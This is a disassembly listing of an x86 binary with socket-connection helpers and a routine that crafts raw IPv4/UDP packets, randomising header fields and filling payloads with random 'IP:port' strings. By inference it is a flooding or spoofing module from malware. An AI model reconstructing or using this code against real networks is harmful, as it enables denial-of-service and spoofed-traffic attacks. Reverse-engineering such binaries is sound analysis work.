		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DF6C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200
		push	3E8h
		call	dword_41709C
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C
		pop	ecx
		push	eax
		call	dword_417238
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41F028
		call	dword_417244
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
